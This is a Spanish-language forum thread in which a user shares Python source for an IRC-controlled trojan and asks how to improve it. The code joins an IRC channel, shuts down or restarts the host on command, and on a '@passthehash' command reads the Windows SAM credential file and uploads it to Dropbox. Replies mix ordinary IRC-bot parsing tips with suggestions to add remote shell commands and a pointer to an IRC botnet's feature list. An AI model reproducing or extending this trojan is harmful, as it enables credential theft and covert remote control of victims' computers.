Troyano IRC

Iniciado por deletethisaccount, Septiembre 12, 2016, 01:07:06 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Hola hoy he hecho este pequeño script y no se que mas ponerle para que no sea tan cortito
Código: python
import sys
import time
import socket
import os
import dropbox
import datetime
server=" irc.ejemplo.net"#el servidor irc tullo
botnick="botejemplo"#el nombre dela maquina
channel="#ejeplo"#canal
client = dropbox.client.DropboxClient('Tu token')#Tu token para subirlo a dropbox(si quieres)
suffix = datetime.datetime.now().strftime("%Y-%m-%d-%H-%M-%S")
p = "sam"+suffix+".bin"
irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
irc.connect((server,6667))
irc.setblocking(False)
time.sleep(1)
irc.send("USER "+botnick+" "+botnick+" "+botnick+" :Hola soy un bot!\r\n")
time.sleep(1)
irc.send("NICK "+botnick+"\n")
time.sleep(1)
irc.send("JOIN "+channel+"\n")

while 1:
     time.sleep(0.1)
     try:
          text=irc.recv(2040)
          print(text)
     except Exception:
          pass
     if text.find("PING")!=-1:
          irc.send("PONG "+text.split()[1]+"\r\n")
     if text.lower().find(":@apaga")!=-1:
          os.system('shutdown -P')#para apagar la pc
     if text.lower().find(":@reinicia")!=-1:
          os.system('shutdown -r')#para reiniciarla
      if text.lower().find(":@passthehash")!=-1:
           f = open ('C:\Windows\system32\config\sam')#para abrir sam
           client.put_file(p, f)#para subirlo a dropbox
 
     text=""
input()

que mas le  puedo poner y solucionar para que sea mejor? ;) ;)

Muy buen trabajo bro! Yo creo que @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login es el indicado para mencionarte que mejorarle!

Saludos,
ANTRAX


En general, un bot de irc responde a necesidades de los usuarios de un canal

Por ejemplo, si pasan muchos links capaz queres que muestre el titulo de la pagina
En un canal jugabamos a un juego en el que un usuario pasaba el link a dos articulos de wikipedia y habia que buscar la forma de llegar de uno al otro clickeando en la menor cantidad de links posibles. Habia un bot que verificaba que los resultados sean correctos y contaba los links
Si es por practicar, fijate cosas que hace otro bot. Te dejo uno que hice hace tiempo You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Hola,tengo una duda:

Cómo podría coger lo que el usuario escribe en un chat irc, y printearlo en el chat con un bot irc hecho en python con la librería socket?? :'(
en tu codigo, al mensaje lo tenes en la variable text
hacele un print a eso para ver que tiene y ahi fijate como extraer la parte que te interesa
para mandar algo a un canal tenes que usar privmsg
Creo que es asi: "PRIVMSG #canal: mensaje"

Septiembre 13, 2016, 08:03:39 AM #3 Ultima modificación: Septiembre 13, 2016, 08:29:04 AM por BadB0y_4
grax  ;),ya lo solucione lo unico que tenia que hacer es hacer un .replace:
Código: python
if text.find("ola")!=-1:
          mi_texto=text.replace(":dolphin_!577db627@gateway/web/freenode/ip.MI_IP_PUBLICA PRIVMSG ##hola :", "")   
          irc.send("PRIVMSG "+channel+" :"+mi_texto+"\r\n")

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
grax  ;),ya lo solucione lo unico que tenia que hacer es hacer un .replace:
Código: python
if text.find("ola")!=-1:
          mi_texto=text.replace(":dolphin_!577db627@gateway/web/freenode/ip.MI_IP_PUBLICA PRIVMSG ##hola :", "")   
          irc.send("PRIVMSG "+channel+" :"+mi_texto+"\r\n")

y si cambia esta parte? dolphin_!577db627
y si cambia la ip?
no uses replace, usa split

tienes razon,va de maravilla,gracias
Código: python
 if text.find("prueba")!=-1:
          mi_texto=text.split('prueba')
          irc.send("PRIVMSG "+channel+" :"+mi_texto[1]+"\r\n")

Mira como hacen aca You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

La idea es cortar el string en ":" y " ", que es lo que usa el protocolo para separar campos. De esa forma, si queres seguir ampliando el bot va a ser mucho mas facil

Para hacerlo realmente un troyano debes agregar funciones que puedan operar el sistema operativo que se esta siendo usado.
Puedes poner que mande comandos a la consola dependiendo que OS tenga. Y hacer poder de prueba ls o dir.



parece que nunca me di cuenta de que estabamos hablando de un troyano, yo le hablaba como si fuera un bot comun

Si se trata de un troyano IRC y buscas ideas entonces revista la lista de funciones de mi IRC Botnet en Delphi : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login , tu trabajo seria traducir a Python las funciones que te gustan del proyecto.

Saludos.